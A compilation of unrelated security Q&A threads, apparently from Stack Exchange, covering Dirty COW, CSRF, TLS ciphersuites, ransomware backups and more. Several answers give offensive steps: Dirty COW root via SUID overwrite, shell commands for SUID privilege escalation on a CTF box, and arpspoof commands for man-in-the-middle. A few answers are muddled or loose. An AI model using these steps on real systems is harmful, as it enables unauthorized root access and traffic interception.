Sure, a face might be nearly impossible, but why leave a chance? It's surprisingly easy to deconvolute an image now, and who knows what could happen in the future?

Faces will probably be fine if you do it correctly (use your brain and don't just barely blur something), but for sensitive information just black it out. The government doesn't blur sensitive papers, they use thick black lines to censor it.

See: Blurring Images Not So Secure, Can we technically un-blur images?, and
Why blurring sensitive information is a bad idea


What is the possible impact of dirtyc0w a.k.a. "Dirty COW" bug? I heard about Dirty COW but couldn't find any decent writeup on the scope of the bug. It looks like the exploit can overwrite any non-writable file, which makes me guess that local root is possible via substitution of SUID programs. Is that right? What else do we know about Dirty COW? Is it possible to exploit it remotely? Does it affect Android?

It can't be exploited remotely without another vulnerability. You need to be able to execute commands on the system already.

A classic example would be a web shell. Say the server is running a web application which has a vulnerability allowing you to upload a web shell or otherwise execute system commands. These commands will typically be executed as a low-privileged user, sometimes called www-data or similar.

With this exploit you could overwrite the file /etc/passwd to give www-data the UID 0. Now www-data has root privileges.

However, I tried a few things and modifying /etc/passwd didn't work on my system. You can set the UID of a user to 0, but then you'd have to re-login, which isn't really an option if you only have a web shell. The best weaponized exploit I've seen so far overwrites /usr/bin/passwd, the binary which is used to change a user's password and has the SUID bit set, with shellcode that executes /bin/bash. Some limitations of the exploit seem to be: You can only overwrite existing bytes, not add anything to a file. I was also not able write more than exactly 4KB to a file.

As for affecting Android, I searched the Android 4.4 git repo for the function in question (follow_page_pte) and got no hits, so I want to say "no", but don't quote me on that.

Edit: Android is affected - see this proof of concept.


Do WiFi passwords remain accessible significantly after logging in? "... they'll go to the taskbar and look at the properties of the WiFi
  router to get the password."

is a quote from another question on this site, and is in the context of WiFi passwords.

The password remaining accessible on a user's computer significantly after the user has logged in certainly seems like a security hole, although I don't know whether it's the OS's fault or the router's fault.

What OSes and/or router's leave WiFi passwords accessible on a user's computer significantly after the user has logged in to WiFi?

To be able to reconnect to a WiFi router, with out prompting the user every time for the shared secret, the client operating system needs to remember the shared secret.

Some operating systems make this "hard" for a user to see, but this will not prevent a determined user from recovering the shared secret.

Yes this is a weakness, but then so is any scheme based on a secret shared with all your users. If you want better security on WiFi look into using client-side certificates using 802.1x. Again the credentials are still stored on the client device so anyone with access to the unlocked device will be able to get access to that certificate, but at least the cert is only tied to one user and is easier to revoke then a shared secret.

Edit - Captive Portals

Some places do do this, usually hotels, search for "Captive Portals". This approach has many weaknesses, most prominently it is not implemented in the WiFi protocols.
This is often overcome by the router redirecting all http traffic from a given MAC to the captive portal until the client has logged in. If you start every session with a plain text HTTP request this is almost acceptable. If however you start your WiFi Session with a POP3,IMAP,SSH,HTTPS etc. session this work significantly less well.
Another weakness of most of these systems is that they are based on MAC address, which is snoop-able and spoof-able.


SRP: Can the client authenticate using only the stored hash? Based on the description of SRP, it seems that it would be possible for a client application to cache the hashed password x and reuse it for subsequent authentifications. The actual password p doesn't seem to be used for anything but calculating x on the client side.

In addition to the most obvious advantages of SRP over "regular" client- or server-side hashing (no dictionary attacks possible even on weak passwords), are the following assumptions true?

The server doesn't have to store passwords or password-equivalent data. If the server storage is compromised, an adversary using that information will be unable to impersonate a client after the incident.
The client also doesn't have to store the password or equivalent data: The hashed password can optionally be stored as an authentication token for use without user interaction; alternatively, it can be discarded and recomputed from the salt s and the user-provided password p.

Your assumptions are true; they are features of SRP.

In the description you link to, note that the value x is computed from the password p and salt s (so it can be re-computed on the client side if needed), and the password verifier v is obtained from x with a modular exponentiation, which is quite one-way (recovering x from v requires computing a discrete logarithm, which is known to be very hard, and not feasible if the modulus is large enough). The server stores v, not x, and knowledge of v is not sufficient to authenticate as a client -- you need x for that, which the server does not store and, indeed, never learns at all.


Is cookie information hackable by "Man in middle" Attack over HTTPS? Just I want to know, is it possible to extract header data by 'Man in middle attack' in HTTPS connection

and is there any other way or hack to achieve same thing?

If there is way to hack, is it possible to prevent such kind of hack?

It depends.

Lets say we have a server that only provides an HTTPS service and uses HTTP just to redirect to HTTPS.  The user's browser is authenticated using a session cookie without the secure flag. At some point,  this browser is going to load HTML over plain HTTP by visiting some other domain (http://security.stackexchange.com!),  and then a man in the middle, Eve,  can strike.  In the HTTP response, Eve can injection an image tag that forces the browser to make an HTTP request to the victim server:

...

...

Even though,  victim_server doesn't use HTTP, the browser will make a plain-text HTTP request that can be intercepted by Eve.

So,  to answer the question.  Cookie information can be protected in a MITM attack if the Secure cookie flag is set,  and the application doesn't have other vulnerabilities such as XSS.  There is also the BEAST attack and SSLStrip.


Is it worth using a client-side XSS-focused library like DOMPurify? That may not be the best way to phrase the question, but gives the basic idea.

If everything client-side is malleable, is it even worth it to use a JS library for sanitization?

I've seen DOMPurify recommended a few times recently and have read their security document (though it didn't provide the information I thought it might), and this isn't intended as a criticism of the effort or people behind it, or its quality.

However if you can't trust anything on the user's end, and ultimately need to process on the server anyway, then is it worth even adding another dependency and download?

It might be said that a library like that isn't large (especially compared to the JS and CSS frameworks people are using), and that it also helps protect against less advanced attacks, so adds some benefit without much cost.

But I'm still not sure if it adds enough value to include, as XSS involves targeting other users through the Web (and thus servers) by definition.

What do you think?

However if you can't trust anything on the user's end, and ultimately need to process on the server anyway,

DOMPurify is not to protect the server against malicious input from the client.

It is to protect the client against maybe not fully sanitized data from the server but also input from other untrusted sources which might not even be visible to the server providing the main HTML. This might be for example when including third party content or when processing the hash of the URL (i.e. http://example.com/page#hash - the hash is not sent to the server).


Okta backend verification of Access Token generated in PKCE flow I'm looking to verify the security of the OAuth mechanism for an application I'm testing. The application uses Okta for SSO and the PKCE OAuth flow.
What I'm not clear on is how the backend is verifying the Access Token, given the configuration supplied to the Okta SDK. The only configuration passed to the SDK is the Okta Domain - https://dev-xxxxx.okta.com
On monitoring the traffic from the app, I can see calls to the following endpoints on application startup. Following this no further calls appear to be made to Okta on authorizing requests.
It appears that the later of the two requests below fetches a set of keys. I'm thinking maybe these keys are used in the verification of the access token, but since these keys are publicly available via the URL, I'm unsure how this would work.

https://dev-xxxxx.okta.com/oauth2/default/.well-known/openid-configuration
https://dev-xxxxx.okta.com/oauth2/default/v1/keys

services.AddAuthentication(options =>
{
    options.DefaultAuthenticateScheme = OktaDefaults.ApiAuthenticationScheme;
    options.DefaultChallengeScheme = OktaDefaults.ApiAuthenticationScheme;
    options.DefaultSignInScheme = OktaDefaults.ApiAuthenticationScheme;
})
.AddOktaWebApi(new OktaWebApiOptions
{
    OktaDomain = Configuration["OktaDomain"],
    ClockSkew = TimeSpan.FromMinutes(2)
});

services.AddAuthorization(options =>
{
    // ...
});

So my question is - what mechanism is Okta using to verify that the signature of the JWT token is valid on the backend?

Okta and the client app are using RSA as the underlying verification mechanism.  Okta signs its JWTs using the private half of an RSA keypair and publishes the public half of the keypair at that /keys endpoint.  The JWT contains the ID of the key that was used to sign it, so the client app can then retrieve the public key and use it to verify that the JWT was signed using the corresponding private key.  If the signature verification succeeds then the client can infer that Okta issued the token and that its payload hasn't been altered, since Okta is the only party who has access to the private key.


Can Microsoft monitor my computer because of Windows 8 email sign in Because Windows 8 uses an email sign in/cloud profile, do they have access to view my data and what I am doing with it? I am always wary that one of the EULAs is signing away the rights to my soul (or at least my data).

I think your question should be "Would they do this?", because every software vendor can monitor user data with or without their users notice. Windows has full access to all resources of a computer so it's very capable of monitoring its activity and data. Add an online account to that so it can easily identify you on any device you sign in.

The point here is they must do it (if they're after it) with real care and don't mess things up for unimportant cases. If it becomes clear that they monitor and gather user data it creates a global crisis and nobody will use their products anymore and they certainly don't want this. So they could do it but they won't do it in such a way that everybody feel unsafe and worries about their data.

To sum it up if you are not a criminal, undercover agent, spy and so on you shouldn't worry about that because you are not a target. But if you are so worried about your data then you shouldn't use (I mean trust) Windows in first place. You decide how important your data is, you won't use a 800$ lock for a 100$ bike, will you?


Data categorization: Critical or not I need to provide two means for securing data within my application. First is using the Operating System sandboxing model (I am talking about Mobile Phones OS) and the second using the OpenSSL AES encryption algorithm in addition to the sandbox model.

The best is to allow the application user to configure data to be critical or not. But I am wondering if anyone is aware of a survey or anything similar that categorize data in terms or critical or not critical. So far I am considering two categories in order not to make it so complex, but if there are some standard classification I would be a taker as well.

Data classification is essential to guide you in terms of resource expenditure - you don't want to spend heavily to protect assets that are of low sensitivity.

The Confidentiality, Integrity and Availability model is very commonly used, however it doesn't really help you define classification standards for your envirnment. You may want to look at at specifics for your needs. For example:

If you hold customer credit card data, PCI-DSS requires it to be protected so you might want to classify it as high.
Similarly personal medical data should be protected (many jurisdictions mandate this through law)

An alternative, if you aren't holding data which comes under regulation, is to classify by business impact. For example:

Data which would heavily impact the business if divulged or destroyed
Data which can be public without impact to the business


How to use a sh SUID script to get privilege escalation? As www-data user (non-privileged user) I have found this SUID, world-writable shell script:

www-data@Cisco:/home/cripto$ ls -al /etc/init.d/admin
-rwsr-xrwx 1 root bob 233 Nov 12 13:09 /etc/init.d/admin

It's part of a CTF machine. The content is trivial, it does nothing useful at all (it seems like it is only a boilerplate template):

#!/bin/sh
# /etc/init.d/admin

case "$1" in
   start)
    echo "[i] Start admin Area"

    ;;
   stop)
    echo "[i] Stop admin Area"

        ;;
   *)
    echo "Usage: /etc/init.d/admin {start|stop}"
    exit 1
    ;;
esac
exit 0

But I suspect that this script could help me to elevate my privileges. I have been reading about it here:

Dangers of SUID Shell Scripts

and here

Exploiting init.d for Fun and Profit

But:

The machine can't be rebooted (that was my first idea, editing the script so that it creates a privileged shell in /tmp and forcing a reboot)
The positional parameter $1 seems to be non-injectable (I tried to fool the case "$1" passing different arguments from command line, like ./admin "hi; id"  and similar things, to no avail)

I wonder if there are some environment variables that I could exploit. Or some kind of tampering that I could force manipulating the IFS variable. Any ideas about how this kind of SUID scripts could be exploitable?

Multiple things can be done to this file to help you get further. By change can you do the following add to the file the following

echo '#!/bin/sh'|tee admin && echo 'chattr -i /home/(your user)/(file of your chosing)'|tee -a admin

echo 'chown root:root /home/(Your User)/(file you create)' | tee -a admin && echo 'chmod 4755 /home/(your user)/(Your file)'|tee -a admin

Then on your user home directory create a simple c file to setgid and setguid. Compile to the name listed in the script above and then reboot. This will run the file and change the owner to root with guid set.

Then it's simple ./file and then fun.


does karabiner elements on Mac OSX contain or potentially contain malware? I'm using Karabiner elements, an open-source program to remap the keys on my macbook air (running the latest Mac OSX High Sierra) and my apple wireless keyboard. It works very nicely.

However, I am concerned about the off chance that a malicious adversary can possibly use it to record keystrokes and passwords. This question was already asked on a Google Groups thread, and the creator of Karabiner answered. While there doesn't appear to be any reason to suspect that the creator of the program has anything other than good intentions, I would feel a lot more comfortable with a more independent assessment of this question.

Some further info: the Github page for the project has a decent number of contributors, and the creator of the program appears to be someone who I have no reason so far to suspect. However, I'm not as experienced in the world of open-source software development as some others here may be, so I was hoping someone with a better background can shed some light on this issue.

first let me just say; I am not sure anyone here would be willing to read through it but my advice would be:

1: read through the bug reports

2: google information on it and read as many reviews as you can. it has a lot of eyes on it, but yea easy to be sceptical.

3: you could always sandbox it and monitor it, but still not a sure way.

Long story short, unless a you read the code your self or find someone reviewing the code via google you will just have to go with your gut. it has a fair amount of popularity.

not a lot of people read the source code of something open source, because its open source and they automatically trust it. So it is good you are sceptical, open source does not mean safe as you seem to be aware.


Management interface on Cisco router In my company we had firewall as edge device with the internet. Behind this central firewall we have management network. Now we had to put Cisco router in front of central firewall, as part of some services from ISP.

This router have all interfaces with public IP addresses and he is pretty visible on the Internet, therefore more vulnerable.

There is no remote management access to the router from the Internet.

Is it safe to connect mgmt interface from that router to management network that  reside behind the firewall?

If router is compromised over interfaces with public IP addresses, is there a possibility that rest of my management network could be compromised over management interface? Because I connected mgmt interface from that router to switch with management network, on which I have a lot of devices. And management switch is located behind the firewall.

I know that mgmt interface of the router is part of its own VRF, but is that enough?

If I understand this correctly, you have a MGMT interface on the public internet on a single device in front of your perimeter firewall. This is not unheard of, you can secure it. In your IOS just configure that port to be on your MGMT VLAN. Then add a access control lists to that interface so you cannot expose it if there is a misconfiguration later on.


NetFlow IP Spoofing/Reflection Attack Detection Is it possible to detect IP spoofing/reflection attack via NetFlow?

The IP would be spoofed before NetFlow could analyze it, so no. See here (https://en.wikipedia.org/wiki/NetFlow) for NetFlow info and here (https://www.us-cert.gov/ncas/alerts/TA13-088A) for DNS amplification. The attack must be configured such that IP Spoofing occurs before the router, which is where NetFlow is installed. We know this works because MiTM works. The IP would be spoofed before NetFlow could analyze it, so everything would look valid.


Can we provide our external certificates to a customer's SQL Server for SSL? In designing hosted software that interfaces with a client's SQL Server over TCP/IP and we may wish to offer the option of using SSL/TLS. One architecture that seems attractive is where we generate a certificate and then put it into the customer's SQL Server instance. This is an attractive idea because we can take responsibility for managing the certificate.

My current belief is that if we wish the certificate to be trusted, and SQL Server will expect this, then we can not do this.

The reason I believe this, is because:

We can not import into SQL Server a certificate with a FQDN
different from the server, ie. with our domain instead of the
customer's.
We can not obtain a certificate from a CA with the customer's FQDN.
We can not sign a sub certificate with the customer's FQDN from a
root certificate with our FQDN. This defeats the purpose of
certificates. Imagine if we could create Google certificates
from our own certificates.

Am I correct in my assessment that this architecture is impossible or is there a way that I have overlooked?

You can create your own CA first and then supply the CA certificate to the SQL server (your OEM version). Any future certificate that you (as the CA) generate for the customer will then be trusted by the SQL server.


Non SSL/TLS web page form for passwords? Security concerns? So I am using Zenfolio and I noticed that their password-protected pages feature does not utilize client-side SSL/TLS when asking a visitor to enter the password to visit the page/gallery.

Should I be concerned about this?  Nothing that is being password protected is confidential, I just want to keep some things out of public view if possible (but it's not like if someone gets their hands on the photos that they are going to be able to do much with them anyway).  Should I be concerned that there is no client-side SSL/TLS or not?

My Chrome browser warns me that the content entered on the page (ie. the password) is not encrypted.  From my knowledge of security, I believe this should be a secure connection via SSL/TLS, and the "padlock" should show up in the browser as a result.

How much of a concern is this?

I'm not entirely clear whether you're the user or administrator, so I'll answer for both.

As an administrator: I'd consider it a big concern, primarily because of password reuse: people will use the same password for this that they use for Facebook and their bank, and then be upset when their account information is stolen. I'd suggest using a service like Let's Encrypt to get free certificates.

But as a user, it's not really a big deal: simply use a throw-away password for the site and remember that any material is sniff-able, and that you have no guarantee of confidentiality or integrity.


Email Client STMP Personal IP Leak I noticed K-9 Mail (Android), Geary, Sylpheed and Thunderbird are leaking my personal and private IP in the email headers.

I know web clients like gmail don't suffer from this problem. But what can I do to avoid my IP leaking while using desktop/mobile apps. Are there any options/configurations available to protect this information? Any clients that implement this by default or have a option in the settings.

Received: from [192.168.0.XXX] (dhcp-255-255-64-255.my.isp.com [255.255.64.255])
        by smtp.gmail.com with ESMTPSA id xxxxxxxxxxxxxxxxxxxxxxxxx
        for <me@gmail.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 22 Jan 2017 20:13:49 -0800 (PST)

You have to differentiate between email clients and web based email.

Email clients request that the server sends an email that was composed remotely. This is the case with Thunderbird and others. You logon to the destination SMTP (Send Mail Transfer Protocol) server and issue commands to send the email you desire.

With a web based solution, such as Gmail, Hotmail (Outlook), and so on, you are effectively logging in on the destination server. Because the server itself is issuing the commands to itself, there is no "client" in this case.

As dictated by RFC 882 (and it's parent standards documents), all emails are to have "email headers". You can read more about them using the two links below.

To remove the "client" headers use a web based email service, or create your own web based email service.

Web Links:

https://tools.ietf.org/html/rfc822

https://tools.ietf.org/html/rfc5322


Unusual phishing email Usually with these of types of scams there's a phishing link inside the email. However, there are no clickable links in this email and appleid.apple.com is an official Apple site.

In between the regular English characters there are letters and numbers scattered around with a font size of 0 and a transparent colour. There are also a couple of HTML tags with apparently random text. Example of the HTML code:

Th6en cf<!xklyv>o4lkl<!z5y08>o4wai<!g>ng hcyh0adn5ge<!ctubo>s toi <!vg>yo

The body of the text actually looks like the following:
if y0o0ua td5id 2nao5t bmakpe thebs0ev ch5angmes momrh ipfc you bvelsieveh ban unauthorised9 uperson9 dhas zaccesuse9d dymo2u2r accouxnsth

How does this phishing email work? Does something happen just by opening the email?

This looks like a preliminary work for a phishing run.

You may not believe this, but phishing software, lists, networks of bots etc. are actually for sale if you look in the right places.

So we might be looking at a wannabe phisher that has set up his new kewl toyz and attempted to do a phishing run. But something went wrong, some tokens remained untouched (e.g. {{email}} which should clearly have been your email) and the email body is probably still the equivalent of a Lorem Ipsum.

And there's no clickable link.

I saw some specimens with similar flaws, even if not identical to yours, years ago.


Storing data permanently vs temporarily My lecturer said that since hard disk space is so cheap these days, most organisations do not delete the data on the disk. Rather, they only logically delete it (remove the link to the data). If this is the case, would it also mean that organisations like Facebook still have the data of users who delete their pictures, comments etc.? Is it really that troublesome to physically remove data?

It is not troublesome, removing these "links" have been done for a very long time, even when disk space was expensive.  Since CPU cycles were also expensive, there was no point in securely "overwriting" (like shred) data.  If you remove the logical file table entries, the space it addressed as empty and was just overwritten.

Alas, it is not "troublesome", to remove data - it is just wasted time / CPU cycles, and then we're not talking about the ability to recover this data.

Companies such as facebook store their data over several media, not just a hard drive.  First off, it is located in multiple servers from an availability / performance point of view, and is backed up several times.   Plus, their Terms of Service stipulates that it is still somehow accessible and could be "used" (though within limits) even after your account is removed.


How to find known vulnerability in third party JavaScript? Currently I am using OWASP Dependency Check to find and mitigate known security issues in third party jars. Is there any similar tool/app to check for known security issue in third party JavaScript?

This may seem like a lame answer to you but my rule of thumb is pretty simple and cheaper than trying to validate third party JS libraries

Only use well-known, actively maintained, patched libraries like Jquery.  Look at the list of libraries available on Google and that's a great hint you are dealing with reliable code
If you are rolling your own, or on the bleeding edge - there is JS Lint. In my experience, almost all security vulnerabilities are due to bugs - see http://www.jslint.com/


CSRF protection needed for clients that don't accept cookies? I have recently updated a website from Django 1.0 to 1.3. One of the changes introduced was automatic protection against CSRF attacks. For the most part, this works great, but I have a problem with clients that for some reason do not accept cookies at all. While it is OK to refuse such clients to register or log in, they still should be able to use e.g. a contact form. Django refuses all POST requests that do not have a CSRF cookie, so I have dozens of CSRF failures every day that are not an attack, but legitimate clients that do not accept cookies.

As this is not acceptable, my plan is to modify Django's behavior (through extension of the CSRF middleware) in such a way, that it lets through POST requests that do not have any cookies at all. My reasoning behind this is that CSRF attacks makes use of the session cookie to forge a request. But there is no session cookie attached to the request anyway, so no protection against CSRF is needed in this case.

So, is my reasoning sound or am I about to tear a huge security hole into my website?

Django refuses all POST requests

Only with the csrf mechanism enabled. Django issues csrf cookies in two cases:

If you're using the csrf middleware in settings.py. Middleware applies to all requests as per the WSGI spec.
If you decorate individual views with @csrf_protect, without the middleware

In the case of 1, all views are protected via this mechanism and a comparison of {% csrf_token %} (an input field in the form containing the csrf token) is compared against the cookie sent.

You have two options to disable this, therefore:

Site wide - remove the middleware and your POST requests will start working again.
Through careful use of @csrf_exempt you can opt certain views (POST urls) out of the csrf protection mechanism.

So is not using csrf protection a risk? It depends on what your POST request is. Have a read of the description of csrf from OWASP - basically the idea is that you construct a request and convince a user to execute it; when they do, their data is modified in ways they didn't mean to happen. The idea behind the token comparison is that only the issuing web page will have the valid token, meaning a malicious constructed request should be rejected.

As such, the answer to this is yes, it most likely is a risk. For most web based applications and sites, you do want this kind of protection.

  my plan is to modify Django's behavior (through extension of the CSRF middleware) in such a way, that it lets through POST requests that do not have any cookies at all.

For the above reasons I would advise against that. I think you mean to extend from the existing framework (which you don't need to do), but I just want to cover the other case other users might consider, i.e. patching the django framework itself to do this. In which case... don't, because unless each site sits in its own virtualenv you'll be extending this vulnerability to all sites using that code, now and until you update your django install.


What means that the same ciphersuite is both enabled and disabled in Java JSSE? I am looking into documentation for JSSE ciphersuites in Java.

https://docs.oracle.com/en/java/javase/11/security/oracle-providers.html#GUID-7093246A-31A3-4304-AC5F-5FB6400405E2

TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 is listed there 3 times and according to documentation for Java 8 is both enabled and not implemented.

TLS_ECDHE_RSA_WITH_RC4_128_SHA is listed there 2 times as both disabled and not implemented.

For more confusion older version of this document have yet different values for this ciphersuites for the same version of JDK (like disabled and enabled). Though I am guessing that some changes there are due to security updates.

https://docs.oracle.com/javase/10/security/oracle-providers.htm#JSSEC-GUID-9224B90B-7B2F-41F9-BB96-C0A1B6A0FEAA

I think this documentation is confusing. Have I found mistake in docs or I am missing something?

The duplicate lines must be an editting or perhaps text-generation glitch of some kind, because in that format the ciphersuite should be a unique key. There are also four lines for TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 -- all wrong!

You aren't specific, and I certainly see some other errors in the page you link, but differences about JSSE across different JDK versions could be correct. In particular:

Java 6 JSSE supported some suites using EC (Elliptic Curve) algorithms, though not the one you name, and they were even enabled in the sense of being in JSSE's 'enabledCiphers' list. But they were actually used in the protocol only if the JVM included a cryptoprovider with EC (including ECDH and ECDSA) primitives, as described in the note above table 4-11 on the page you link, and Sun-then-Oracle j6 did not include such a provider out of the box, but it could be added, and other builds could be different (which was a major point of the JCA design way back to its beginning).

Java 7 JSSE implemented TLS 1.1 and 1.2, which adds some additional suites including the one you name (since it uses AES-CBC and SHA384); by default it enabled these protocols (and thus this suite) only on server side not client side, but this could be overridden. Oracle j7 added an EC provider (SunEC) so that 'enabled' EC suites could actually be used; again other builds could differ. (RedHat OpenJDK in particular removed EC for several years.) However the free Oracle versions of j7 (like j6 and earlier) were subject to the 'limited crypto policy' restrictions originally created to satisfy arms export regulations in the 1990s, which primarily disabled all AES-256 suites by default; this could be fixed by downloading and installing the 'unlimited jurisdiction crypto policy' jars, about which you can find many stackexchange Qs dating from before 2018. The then-separate OpenJDK releases did not have the limited-crypto restrictions, and I believe some of the Oracle paid-support versions (after 7u80 in 2015) also changed this, but I don't pay for support.

Java 8 added some more TLS1.2 suites (using AES-GCM), and enabled TLS1.2 (and thus the SHA384 suite you name) on client by default. Starting with 8u151 in late 2017, it also removed the limited-crypto restriction so that AES-256 is enabled without an additional download.

Java 9 and 10 started out with TLS1.2 enabled and no limited-crypto, and did not make significant changes in this area TTBOMK. Java 11 adds TLS1.3, which radically changes the whole concept of ciphersuites; instead of specifying the whole range of keyexchange, server auth, cipher and MAC and PRF, they now specify only cipher-and-MAC (always combined because now only AEAD ciphers are allowed) and PRF.

RC4 used to be trusted, and suites using it enabled; for a while during BEAST in 2011 they were even recommended. But advances in cryptanalysis made them insecure and they were officially forbidden by rfc7465 in 2015. This just missed the last free release of Oracle j7 (7u80) but to my understanding later paid-support Oracle versions, and OpenJDK versions, did disable RC4. Java 8 (IINM both Oracle and OpenJDK) disabled it starting with 8u51, and 9 10 11 from their first releases.

Similarly SSLv3 was badly broken by POODLE in 2014, and thus disabled in 7 from 7u75, 8 from 8u31, and 9 10 11 from outset. (SSLv2 is not a security issue; the pseudoprotocol SSLv2Hello implemented by JSSE is not actual SSLv2 and JSSE has never implemented actual SSLv2. However, SSLv2Hello was a good idea only in the early 2000s when there were still v2 servers in the wild; nowadays it it is not needed and should not be used because it restricts features that use hello extensions like SNI and sigalgs, which are now more and more important.)

If there are any inconsistencies that does not explain, please feel free to ask a more specific question.

PS: note that Oracle 9 and 10 are officially no longer supported, because they were not designated 'long-term' under the new model and 11 has now been out for several months. And Oracle 8 similarly is now officially paid-support-only for commercial. But they still actually work, and of course the source is still available so open-source builds are not affected.


If someone transfers money from a bank account to a prepaid master card, can he trace the master card back Lets say someone traces money from his bank account to a prepaid master card. Then he doesnt get what he wanted, can he somehow cause problems, trace the card back anyhow or do anything?

Not if you're a normal civilian, since we don't have access to bank transactions. If you're being tracked by the government (maybe under some process investigation), the government can request the bank your bank transactions, and maybe track down the origin of the pre-paid debit card to you.


How do I use google drive local folder with auto sync while protecting myself from ransomware? Background
So I have my Google Drive 1TB account. Obviously, I'm using Drive to have a backup for all my precious files.
I used to have a local Drive folder with auto sync on my PC. It was very convenient to sync folders and files transparently.
Then, when ransomware awareness kicked in, I got a little paranoid about getting my Drive infected and making my drive backup futile.
I really want to install my local Drive folder again, but the paranoia still exits.

How to resolve this?
Approach 1
Disable auto-sync. Sync only when necessary.
This approach kind of suck. It doesn't completely resolve the issue. You still have a sync window that might get infected during. In addition, manual sync is not ideal.

Approach 2
As suggested in this post: How Ransomware Locks Files on Google Drive, use Backupify for G Suite.
Cons:

Not free.
I still don't understand how this resolve the problem? How many copies of your data do they save? What if I'm aware of the ransomeware weeks/months later? Do I still have my copy?

Question
Any more suggestions/ideas?
I believe this issue is applicable to millions of us out there.

Let's address the approaches you highlighted first

Approach 1:

As you stated, this doesn't resolve, nor prevent your files from getting encrypted if you're hit. It only creates more problems in the sense that you will end up with considerably less backups and be open to potentially more data loss.

Approach 2

You do not need to use Backupify, they were just suggesting their product. You can very well create your own file server (hosted or on-premise) and set up the same level of retention they offer. Beware of security however as they will undoubtedly surpass you in this area.
As you rightly noted this also doesn't resolve the problem as you will need to restore a backup from before your files got encrypted and this is always guesswork (unless you can forensically or otherwise determine the date the attack started).

Now this is what it all boils down to: Where services like Backupify offer value is in the length of retention. In your case, Let's assume you have used up 700GB of your 1TB drive (cos it can't be all used up right?). It wouldn't usually take months for most variants of ransomware to encrypt that amount of data but it could take up to 4 months for one of the slowest variants tested - see https://blog.barkly.com/how-fast-does-ransomware-encrypt-files.

Also bear in mind what hardware you are using, you might have 16gb of RAM and a quad core processor coupled with an SSD? Well that could almost halve the time to total encryption.

What can we do then?

The answer is really simple, plan for the worst and hope for the best. Knowing that there will always be data loss when ransomware hits is the first thing you need to accept.

From here, you will need to take further steps to prevent an attack in the first place (AVs, etc).

Next you will need to have a remediation strategy which is almost always going to be a restore from backups or to go bitcoin shopping.

Here you'll need to determine the longest window of retention you can afford. A smart approach will be to look at tests like the one above showing the time to full encryption and matching the slowest variant - so in your case, retain backups for about 4 months.

But there is a quicker and cheaper way

This only really works with incremental and (arguably) differential backups.

What happens when you wake up and review your backup logs to see that files you did not change have been backed up? Loads of them? - You immediately stop any further backups and roll back as quickly as you can!

Here you can afford a retention rate as low as a month provided you are diligent in monitoring your logs (and can remember stuff you've changed).

So there is my idea - monitor your backups daily and you will be able to tell when you have been hit and should be able to minimise data loss.

(Now this will be easy for you to implement / carry out a lone user but very difficult to replicate in a work environment... for that, we are still stuck at the "educating-the-users" stage).


Different between arpspoof command spoof only target and both target and gateway Is there any different on

case 1

arpspoof -i <interface> -t <target> <default gateway>

case 2

arpspoof -i <interface> -t <target> <default gateway>
arpspoof -i <interface> -t <default gateway> <target>

I found a lot of tutorial on website, some only spoof the target, while some spoof both target and gateway. I had tested both case and both work well. I just wonder is it for case one the arpspoof command will auto spoof the gateway? I would like to appreciate if you could explain both case a little bit more.

Thank you for your explanation and clarification.

case 1
 - Will only tell the target that you are the router. If you don't tell the router that you are the target, the router will send packets to the target, the target will send the reply to you, and it will stop there. This will effectively DOS the target because you aren't forwarding the packets to the router.
case 2
 - Is the complete ARP spoofing process.
 - The first command tells the target you are the router.
 - The second command tells the router you are the target.

Case 2 should always be used for MITM.


How to prevent network administrators from accessing USB drive How can I prevent network administrators from accessing, mapping to etc. a USB drive that's in a PC on their network?

I'm mainly concerned about files being edited or deleted.

You effectively can't. If you're on somebody else's machine and they have administrative rights to it, then that's the game.

The quite fancy answer be mandatory access control systems like SELinux which hold a concept higher than root that would at least require a reboot and direct system access to change the settings.


What Cipher suites does Hashicorp Vault use? I've been looking into Hashicorp Vault to use in my linux environment. Ive installed a certificate/private key pair on the Vault Server and told Vault to use TLS. It seems to be working correctly. I have a few questions:

Would you classify Vault as a HTTP web server?
What cipher suites does Vault use by default?
How can I disable various cipher suites on both the Vault Server and Vault client? Can I use mod_ssl? or openssl?

Yes, the Vault server exposes an HTTP API.  It can be run either with or without TLS.

There is a configuration option for specifying the allowed versions of TLS for the server, but not the specific cipher suites.  This has been requested.  It appears Vault uses Go's default cipher suite list.

The Vault cli client likely does the same thing.  However, for most usage you'll use a library specific to your language, and the details of how that library implements the TLS connection are up to it.

If you find it necessary to have more control over the cipher suites exposed by the server, you can set up a TLS terminator (such as Nginx or HAProxy) that will handle the connection to clients, then forward requests from there to the Vault server (potentially again via HTTPS).


Why is it recommended to use GCP service accounts vs user accounts? I've recently started some work on Google Cloud Platform (GCP) and while developing the auth strategy for my company, I've repeatedly come across the recommendation to use service accounts for authentication.  That makes great sense for many situations.  An app or service shouldn't have a user account. And in that link, Google actually lays out the original intent behind service accounts:

  A service account is a special type of Google account that belongs to your application or a virtual machine (VM), instead of to an individual end user.

But the service-account pattern dominates all tooling around GCP.
 Unlike a ~/.aws/credentials file, there's no good way of using user credentials from CLI without making your user account appear as a service account with convoluted workflows like gcloud auth application-default login, so recommendations frequently extend beyond usage by apps and services to scenarios where a human will be behind the wheel.

Tools like Ansible and Terraform are some examples of third party tools that make these recommendations.  I understand that often you'll be running these tools in an automated pipeline, but there are certainly cases where individuals will run them. The pervasive recommendation to always use service accounts for everything has led to a pattern where Developer Jim locally creates credentials for ServiceAccountA and then uses those!

Here's my problem with this: you lose auditing! Non-repudiation is a core part of information security, right?  Why is the primary authentication method for GCP to use service accounts when all the audit logs lose non-repudiation value?  In order to tell that Developer Jim was the one that did a bad thing instead of Developer Sally, you'd need the audit log in StackDriver to look like this:

authenticationInfo: {
   principalEmail:  "jim@mycompany.com"
}

But since Developer Jim always follows best practices (or really the only pattern supported by many tools), he uses a service account to deploy changes and the audit log looks like this:

authenticationInfo: {
   principalEmail:  "deploy-service@myproject.iam.gserviceaccount.com"
}

With this entry, how can you tell who did what?

Am I just misinterpreting the recommended practice or does the recommended practice really eliminate non-repudiation?

There are two primary authentication methods in Google Cloud: User Credentials and Service Account Credentials. I am ignoring API keys, etc.

The reason that Google recommends using service accounts (where applicable) instead of user accounts is the processing for user accounts is much more intense for Google. The process takes longer, there are more security checks, etc. There is an API limit on how many times you can authenticate with user credentials in a certain period of time. The exact numbers are not published.

Service Accounts contain all the components necessary to authenticate with Google Cloud and require fewer interactions to generate OAuth tokens.

